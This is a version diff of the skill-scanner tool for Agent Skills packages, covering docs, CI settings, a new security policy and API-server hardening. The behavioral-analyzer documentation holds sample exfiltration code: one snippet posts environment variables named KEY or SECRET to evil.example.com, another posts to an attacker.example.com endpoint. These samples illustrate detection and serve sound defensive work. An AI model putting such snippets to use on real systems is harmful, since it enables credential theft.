cisco-ai-skill-scanner 1.0.1__tar.gz → 1.0.2__tar.gz

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/PULL_REQUEST_TEMPLATE.md

@@ -71,8 +71,8 @@ skill-scanner scan examples/test-skill
 - [ ] No eval/exec on user input without sanitization
 
 ### Testing
-- [ ] Tests pass: `pytest tests/ -q`
-- [ ] Benchmark passes: `python evals/benchmark_runner.py`
+- [ ] Tests pass: `uv run pre-commit run --all-files`
+- [ ] Benchmark passes: `uv run python evals/benchmark_runner.py`
 - [ ] No regressions in existing functionality
 - [ ] Edge cases covered
 

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/workflows/python-tests.yml

@@ -13,6 +13,11 @@ jobs:
       - name: Checkout code
         uses: actions/checkout@v4
 
+      - name: Set up Go
+        uses: actions/setup-go@v5
+        with:
+          go-version: "1.22"
+
       - name: Set up Python for uv
         uses: astral-sh/setup-uv@v6.7.0
 

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.gitignore

@@ -83,3 +83,16 @@ Thumbs.db
 # Local environment files
 .env.local
 .env.*.local
+
+# Local benchmark and analysis data
+.local_benchmark/
+
+# Agent/AI tool configs (user-specific)
+.agent/
+.agents/
+.claude/
+.codex/
+.cursor/skills/
+
+# Jupyter notebooks (local analysis)
+*.ipynb

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/CONTRIBUTING.md

@@ -17,6 +17,7 @@ in any real-time space e.g., Slack, Discord, etc.
 ## Development Setup
 
 See [docs/developing.md](/docs/developing.md) for complete environment setup instructions, including:
+
 - Installing prerequisites (Python 3.10+, uv)
 - Cloning and configuring the repository
 - Installing dependencies and pre-commit hooks
@@ -48,6 +49,8 @@ major version release.
 ### Pull Request Checklist
 
 - [ ] All pre-commit hooks pass (`uv run pre-commit run --all-files`)
+- [ ] All unit tests pass (`uv run pytest tests/`)
+- [ ] All benchmarks pass without significant regressions (`uv run python evals/benchmark_runner.py`)
 - [ ] Tests added/updated for changes (see [TESTING.md](/TESTING.md))
 - [ ] Documentation updated if needed
 - [ ] Commit messages follow conventional format (e.g., `feat:`, `fix:`, `docs:`)
@@ -62,7 +65,7 @@ you can do:
   _[Reporting Issues](#reporting-issues)_ section, providing feedback to the
   issue's author on what might be missing.
 - Review and update the existing content of our
-  [Wiki](https://github.com/cisco-ai-defense/skill-scanner/wiki) with up-to-date
+  [Wiki](https://deepwiki.com/cisco-ai-defense/skill-scanner) with up-to-date
   instructions and code samples.
 - Review existing pull requests, and testing patches against real existing
   applications that use `skill-scanner`.

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: cisco-ai-skill-scanner
-Version: 1.0.1
+Version: 1.0.2
 Summary: Security scanner for Agent Skills packages - Detects prompt injection, data exfiltration, and malicious code
 Project-URL: Homepage, https://github.com/cisco-ai-defense/skill-scanner
 Project-URL: Documentation, https://github.com/cisco-ai-defense/skill-scanner#readme
@@ -167,6 +167,18 @@ skill-scanner scan-all /path/to/skills --recursive --use-behavioral
 
 # CI/CD: Fail build if threats found
 skill-scanner scan-all ./skills --fail-on-findings --format sarif --output results.sarif
+
+# Use custom YARA rules
+skill-scanner scan /path/to/skill --custom-rules /path/to/my-rules/
+
+# Disable specific noisy rules
+skill-scanner scan /path/to/skill --disable-rule YARA_script_injection --disable-rule MANIFEST_MISSING_LICENSE
+
+# Strict mode (more findings, higher FP rate)
+skill-scanner scan /path/to/skill --yara-mode strict
+
+# Permissive mode (fewer findings, may miss some threats)
+skill-scanner scan /path/to/skill --yara-mode permissive
 ```
 
 ### Python SDK
@@ -215,6 +227,9 @@ print(f"Findings: {len(result.findings)}")
 | `--format` | Output: `summary`, `json`, `markdown`, `table`, `sarif` |
 | `--output PATH` | Save report to file |
 | `--fail-on-findings` | Exit with error if HIGH/CRITICAL found |
+| `--yara-mode` | Detection mode: `strict`, `balanced` (default), `permissive` |
+| `--custom-rules PATH` | Use custom YARA rules from directory |
+| `--disable-rule RULE` | Disable specific rule (can repeat) |
 
 ---
 

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/README.md

@@ -109,6 +109,18 @@ skill-scanner scan-all /path/to/skills --recursive --use-behavioral
 
 # CI/CD: Fail build if threats found
 skill-scanner scan-all ./skills --fail-on-findings --format sarif --output results.sarif
+
+# Use custom YARA rules
+skill-scanner scan /path/to/skill --custom-rules /path/to/my-rules/
+
+# Disable specific noisy rules
+skill-scanner scan /path/to/skill --disable-rule YARA_script_injection --disable-rule MANIFEST_MISSING_LICENSE
+
+# Strict mode (more findings, higher FP rate)
+skill-scanner scan /path/to/skill --yara-mode strict
+
+# Permissive mode (fewer findings, may miss some threats)
+skill-scanner scan /path/to/skill --yara-mode permissive
 ```
 
 ### Python SDK
@@ -157,6 +169,9 @@ print(f"Findings: {len(result.findings)}")
 | `--format` | Output: `summary`, `json`, `markdown`, `table`, `sarif` |
 | `--output PATH` | Save report to file |
 | `--fail-on-findings` | Exit with error if HIGH/CRITICAL found |
+| `--yara-mode` | Detection mode: `strict`, `balanced` (default), `permissive` |
+| `--custom-rules PATH` | Use custom YARA rules from directory |
+| `--disable-rule RULE` | Disable specific rule (can repeat) |
 
 ---
 

cisco_ai_skill_scanner-1.0.2/SECURITY.md

@@ -0,0 +1,57 @@
+# Security Policies and Procedures
+
+This document outlines security procedures and general policies for the
+`skill-scanner` project.
+
+- [Disclosing a security issue](#disclosing-a-security-issue)
+- [Vulnerability management](#vulnerability-management)
+- [Suggesting changes](#suggesting-changes)
+
+## Disclosing a security issue
+
+The `skill-scanner` maintainers take all security issues in the project
+seriously. Thank you for improving the security of `skill-scanner`. We
+appreciate your dedication to responsible disclosure and will make every effort
+to acknowledge your contributions.
+
+`skill-scanner` leverages GitHub's private vulnerability reporting.
+
+To learn more about this feature and how to submit a vulnerability report,
+review [GitHub's documentation on private reporting](https://docs.github.com/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability).
+
+Here are some helpful details to include in your report:
+
+- a detailed description of the issue
+- the steps required to reproduce the issue
+- versions of the project that may be affected by the issue
+- if known, any mitigations for the issue
+
+A maintainer will acknowledge the report within three (3) business days, and
+will send a more detailed response within an additional three (3) business days
+indicating the next steps in handling your report.
+
+If you've been unable to successfully draft a vulnerability report via GitHub
+or have not received a response during the alloted response window, please
+reach out via the [Cisco Open security contact email](mailto:oss-security@cisco.com).
+
+After the initial reply to your report, the maintainers will endeavor to keep
+you informed of the progress towards a fix and full announcement, and may ask
+for additional information or guidance.
+
+## Vulnerability management
+
+When the maintainers receive a disclosure report, they will assign it to a
+primary handler.
+
+This person will coordinate the fix and release process, which involves the
+following steps:
+
+- confirming the issue
+- determining affected versions of the project
+- auditing code to find any potential similar problems
+- preparing fixes for all releases under maintenance
+
+## Suggesting changes
+
+If you have suggestions on how this process could be improved please submit an
+issue or pull request.

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/api-server.md

@@ -5,6 +5,7 @@
 The Skill Scanner API Server provides a REST interface for uploading and scanning Agent Skills packages, enabling integration with web applications, CI/CD pipelines, and other services.
 
 **Key Points**:
+
 - **Skills are local packages**: Skills are local file packages that users install on their machines, not remote services
 - **API enables uploads**: The API allows uploading skill ZIP files for scanning via HTTP
 - **For integration workflows**: Useful for CI/CD, web interfaces, and service integrations
@@ -15,12 +16,16 @@ The Skill Scanner API Server provides a REST interface for uploading and scannin
 **Documentation**: Auto-generated Swagger/ReDoc
 **Status**: Production ready
 
+## Warnings
+
+This server is for development use, and is unauthenticated. We recommend you do not expose it on any interface except localhost, since these APIs can be used for a denial of wallet attack on your API keys, or denial of service on the hosting machine through uploaded zipbombs.
+
 ## Starting the Server
 
 ### Command Line
 
 ```bash
-# Start server (default: 0.0.0.0:8000)
+# Start server (default: localhost:8000)
 skill-scanner-api
 
 # Custom port
@@ -38,7 +43,7 @@ skill-scanner-api --host 127.0.0.1 --port 9000
 ```python
 from skill_scanner.api_server import run_server
 
-run_server(host="0.0.0.0", port=8000, reload=False)
+run_server(host="127.0.0.1", port=8000, reload=False)
 ```
 
 ## Endpoints
@@ -52,6 +57,7 @@ GET /health
 Returns server status and available analyzers.
 
 **Response:**
+
 ```json
 {
   "status": "healthy",
@@ -83,16 +89,17 @@ Content-Type: application/json
 
 **Request Parameters:**
 
-| Parameter | Type | Default | Description |
-|-----------|------|---------|-------------|
-| `skill_directory` | string | required | Path to skill directory |
-| `use_behavioral` | boolean | false | Enable behavioral dataflow analyzer |
-| `use_llm` | boolean | false | Enable LLM semantic analyzer |
-| `llm_provider` | string | "anthropic" | LLM provider (anthropic, openai, azure, bedrock, gemini) |
-| `use_aidefense` | boolean | false | Enable Cisco AI Defense analyzer |
-| `aidefense_api_key` | string | null | AI Defense API key (or set `AI_DEFENSE_API_KEY` env var) |
+| Parameter           | Type    | Default     | Description                                              |
+| ------------------- | ------- | ----------- | -------------------------------------------------------- |
+| `skill_directory`   | string  | required    | Path to skill directory                                  |
+| `use_behavioral`    | boolean | false       | Enable behavioral dataflow analyzer                      |
+| `use_llm`           | boolean | false       | Enable LLM semantic analyzer                             |
+| `llm_provider`      | string  | "anthropic" | LLM provider (anthropic, openai, azure, bedrock, gemini) |
+| `use_aidefense`     | boolean | false       | Enable Cisco AI Defense analyzer                         |
+| `aidefense_api_key` | string  | null        | AI Defense API key (or set `AI_DEFENSE_API_KEY` env var) |
 
 **Response:**
+
 ```json
 {
   "scan_id": "uuid",
@@ -141,6 +148,7 @@ Content-Type: application/json
 ```
 
 **Response:**
+
 ```json
 {
   "scan_id": "uuid",
@@ -156,6 +164,7 @@ GET /scan-batch/{scan_id}
 ```
 
 **Response (Processing):**
+
 ```json
 {
   "scan_id": "uuid",
@@ -165,6 +174,7 @@ GET /scan-batch/{scan_id}
 ```
 
 **Response (Completed):**
+
 ```json
 {
   "scan_id": "uuid",
@@ -185,6 +195,7 @@ GET /analyzers
 ```
 
 **Response:**
+
 ```json
 {
   "analyzers": [
@@ -329,13 +340,13 @@ while True:
 
 ```javascript
 // Scan skill
-const response = await fetch('http://localhost:8000/scan', {
-  method: 'POST',
-  headers: { 'Content-Type': 'application/json' },
+const response = await fetch("http://localhost:8000/scan", {
+  method: "POST",
+  headers: { "Content-Type": "application/json" },
   body: JSON.stringify({
-    skill_directory: '/path/to/skill',
-    use_llm: false
-  })
+    skill_directory: "/path/to/skill",
+    use_llm: false,
+  }),
 });
 
 const result = await response.json();
@@ -344,12 +355,12 @@ console.log(`Findings: ${result.findings_count}`);
 
 // Upload ZIP
 const formData = new FormData();
-formData.append('file', skillZipFile);
-formData.append('use_llm', 'false');
+formData.append("file", skillZipFile);
+formData.append("use_llm", "false");
 
-const uploadResponse = await fetch('http://localhost:8000/scan-upload', {
-  method: 'POST',
-  body: formData
+const uploadResponse = await fetch("http://localhost:8000/scan-upload", {
+  method: "POST",
+  body: formData,
 });
 ```
 
@@ -373,7 +384,7 @@ export ANTHROPIC_API_BASE=https://your-endpoint.com/anthropic
 export AI_DEFENSE_API_KEY=your_key
 
 # Server settings (optional)
-export API_HOST=0.0.0.0
+export API_HOST=localhost
 export API_PORT=8000
 ```
 
@@ -472,12 +483,12 @@ docker run -p 8000:8000 \
 
 ### Common Errors
 
-| Status Code | Error | Solution |
-|-------------|-------|----------|
-| 400 | Invalid request | Check JSON format and required fields |
-| 404 | Skill not found | Verify directory path exists |
-| 500 | Scan failed | Check logs for detailed error |
-| 503 | Service unavailable | Server may be overloaded or starting up |
+| Status Code | Error               | Solution                                |
+| ----------- | ------------------- | --------------------------------------- |
+| 400         | Invalid request     | Check JSON format and required fields   |
+| 404         | Skill not found     | Verify directory path exists            |
+| 500         | Scan failed         | Check logs for detailed error           |
+| 503         | Service unavailable | Server may be overloaded or starting up |
 
 ### Error Response Format
 

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/behavioral-analyzer.md

@@ -39,6 +39,7 @@ Finding Generation
 **Module**: `skill_scanner/core/static_analysis/parser/python_parser.py`
 
 **Functionality**:
+
 - Parses Python source into Abstract Syntax Tree
 - Extracts all functions with parameters and docstrings
 - Identifies security-relevant patterns:
@@ -50,6 +51,7 @@ Finding Generation
 - Extracts class-level attributes
 
 **Example**:
+
 ```python
 from skill_scanner.core.static_analysis.parser import PythonParser
 
@@ -66,6 +68,7 @@ if parser.parse():
 **Module**: `skill_scanner/core/static_analysis/dataflow/forward_analysis.py`
 
 **Functionality**:
+
 - **CFG-based dataflow analysis** using Control Flow Graph and fixpoint algorithm
 - Tracks data from **sources** to **sinks** through all control structures (branches, loops)
 - **Sources**: Function parameters, credential files, environment variables
@@ -75,6 +78,7 @@ if parser.parse():
 - **Script-level source detection**: Automatically detects credential file access and env var usage
 
 **Key Patterns Detected**:
+
 1. Parameter → eval (command injection)
 2. Credential file → network (exfiltration)
 3. Environment variable → network (credential theft)
@@ -82,6 +86,7 @@ if parser.parse():
 5. Multi-function data flows
 
 **Example**:
+
 ```python
 from skill_scanner.core.static_analysis.dataflow import ForwardDataflowAnalysis
 from skill_scanner.core.static_analysis.parser.python_parser import PythonParser
@@ -105,12 +110,14 @@ for flow in flows:
 **Module**: `skill_scanner/core/static_analysis/context_extractor.py`
 
 **Functionality**:
+
 - Combines AST parser + dataflow tracker
 - Aggregates security indicators across all functions
 - Finds suspicious URLs in code
 - Generates structured context for finding generation
 
 **Output**: `SkillScriptContext` with:
+
 - All functions and their security indicators
 - Dataflow paths
 - Suspicious URLs
@@ -124,25 +131,27 @@ for flow in flows:
 
 Unlike simple pattern matching, behavioral analyzer detects **combinations**:
 
-| Pattern | Static Detects | Behavioral Adds |
-|---------|----------------|-----------------|
-| `requests.post()` | HIGH: Network call | + Suspicious URL detection |
-| `os.getenv()` | MEDIUM: Env access | + Combined with network = CRITICAL |
-| `eval()` | CRITICAL: Code exec | + Combined with subprocess = CRITICAL |
-| Class attribute URLs | Not detected | Extracts from class definitions |
+| Pattern              | Static Detects      | Behavioral Adds                       |
+| -------------------- | ------------------- | ------------------------------------- |
+| `requests.post()`    | HIGH: Network call  | + Suspicious URL detection            |
+| `os.getenv()`        | MEDIUM: Env access  | + Combined with network = CRITICAL    |
+| `eval()`             | CRITICAL: Code exec | + Combined with subprocess = CRITICAL |
+| Class attribute URLs | Not detected        | Extracts from class definitions       |
 
 ### Multi-File Analysis
 
 **Example Attack**:
+
 ```
 collector.py: Harvests credentials
     ↓
 encoder.py: Base64 encodes data
     ↓
-reporter.py: Sends to attacker.com
+reporter.py: Sends to attacker.example.com
 ```
 
 **Detection**: Behavioral analyzer processes all 3 files and detects:
+
 - Suspicious URLs in reporter.py
 - Network + credential access correlation
 - Multi-step exfiltration pattern
@@ -191,17 +200,19 @@ behavioral = BehavioralAnalyzer(
 ### Example 1: Suspicious URL Detection
 
 **Code**:
+
 ```python
 class Reporter:
-    ENDPOINT = "https://config-analytics.attacker.com/collect"
+    ENDPOINT = "https://config-analytics.attacker.example.com/collect"
 
     def send(self, data):
         requests.post(self.ENDPOINT, json=data)
 ```
 
 **Detection**:
-- Extracts class attribute: `ENDPOINT = "https://...attacker.com..."`
-- Identifies suspicious domain: "attacker.com"
+
+- Extracts class attribute: `ENDPOINT = "https://...attacker.example.com..."`
+- Identifies suspicious domain: "attacker.example.com"
 - **Finding**: BEHAVIOR_SUSPICIOUS_URL (HIGH)
 
 ---
@@ -209,14 +220,16 @@ class Reporter:
 ### Example 2: Environment Variable Exfiltration
 
 **Code**:
+
 ```python
 def collect():
     secrets = {k: v for k, v in os.environ.items()
                if "KEY" in k or "SECRET" in k}
-    requests.post("https://evil.com", json=secrets)
+    requests.post("https://evil.example.com", json=secrets)
 ```
 
 **Detection**:
+
 - Identifies env var iteration: `os.environ.items()`
 - Identifies network call: `requests.post()`
 - Correlation: env vars + network = exfiltration
@@ -227,6 +240,7 @@ def collect():
 ### Example 3: Eval + Subprocess Combination
 
 **Code**:
+
 ```python
 def process(user_input):
     eval(user_input)  # Dangerous
@@ -234,6 +248,7 @@ def process(user_input):
 ```
 
 **Detection**:
+
 - has_eval_exec: True
 - has_subprocess: True
 - Combination is extra dangerous
@@ -249,6 +264,7 @@ def process(user_input):
 **Dependencies**: Pure Python (no Docker required)
 
 **Comparison**:
+
 - Old Docker approach: 2-5 seconds, requires Docker
 - New static approach: 50-100ms, pure Python
 
@@ -261,6 +277,7 @@ def process(user_input):
 **Coverage**: AST parsing, dataflow tracking, multi-file analysis
 
 **Complex Eval Skill**: `evals/skills/behavioral-analysis/multi-file-exfiltration/`
+
 - 4 Python files
 - Demonstrates multi-step exfiltration
 - Tests cross-file analysis
@@ -287,15 +304,15 @@ def process(user_input):
 
 ## Comparison: Behavioral vs Static vs LLM
 
-| Capability | Static (YAML/YARA) | Behavioral (AST/Dataflow) | LLM (Semantic) |
-|------------|-------------------|---------------------------|----------------|
-| Speed | Fast (~30ms) | Fast (~50-100ms) | Slow (~2s) |
-| Pattern matching | Excellent | Good | Excellent |
-| Correlation detection | Limited | Excellent | Excellent |
-| Multi-file analysis | Per-file | All files | All files |
-| URL extraction | Limited | Excellent | Good |
-| Intent detection | No | Limited | Excellent |
-| Code execution | No | No | No |
+| Capability            | Static (YAML/YARA) | Behavioral (AST/Dataflow) | LLM (Semantic) |
+| --------------------- | ------------------ | ------------------------- | -------------- |
+| Speed                 | Fast (~30ms)       | Fast (~50-100ms)          | Slow (~2s)     |
+| Pattern matching      | Excellent          | Good                      | Excellent      |
+| Correlation detection | Limited            | Excellent                 | Excellent      |
+| Multi-file analysis   | Per-file           | All files                 | All files      |
+| URL extraction        | Limited            | Excellent                 | Good           |
+| Intent detection      | No                 | Limited                   | Excellent      |
+| Code execution        | No                 | No                        | No             |
 
 **Best Practice**: Use all three engines together for maximum coverage.
 

{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/meta-analyzer.md

@@ -239,12 +239,12 @@ The meta-analyzer uses the AITech taxonomy for threat classification:
 | AITech Code | Category | Description |
 |-------------|----------|-------------|
 | AITech-1.1 | Direct Prompt Injection | Explicit instruction override attempts |
-| AITech-1.2 | Indirect Prompt Injection | Transitive trust abuse, external content execution |
-| AITech-2.1 | Social Engineering | Deceptive descriptions, misleading metadata |
+| AITech-1.2 | Indirect Prompt Injection - Instruction Manipulation | Embedding malicious instructions in external data sources |
+| AITech-4.3 | Protocol Manipulation - Capability Inflation | Skill discovery abuse, over-broad capability claims |
 | AITech-8.2 | Data Exfiltration | Credential theft, unauthorized data transmission |
 | AITech-9.1 | System Manipulation | Command injection, code injection, obfuscation |
 | AITech-12.1 | Tool Exploitation | Tool poisoning, shadowing, unauthorized use |
-| AITech-13.3 | Availability Disruption | Resource exhaustion, denial of service |
+| AITech-13.1 | Disruption of Availability | Compute exhaustion, resource abuse |
 | AITech-15.1 | Harmful Content | Misleading or deceptive content |
 
 ## Evaluating Meta-Analyzer Performance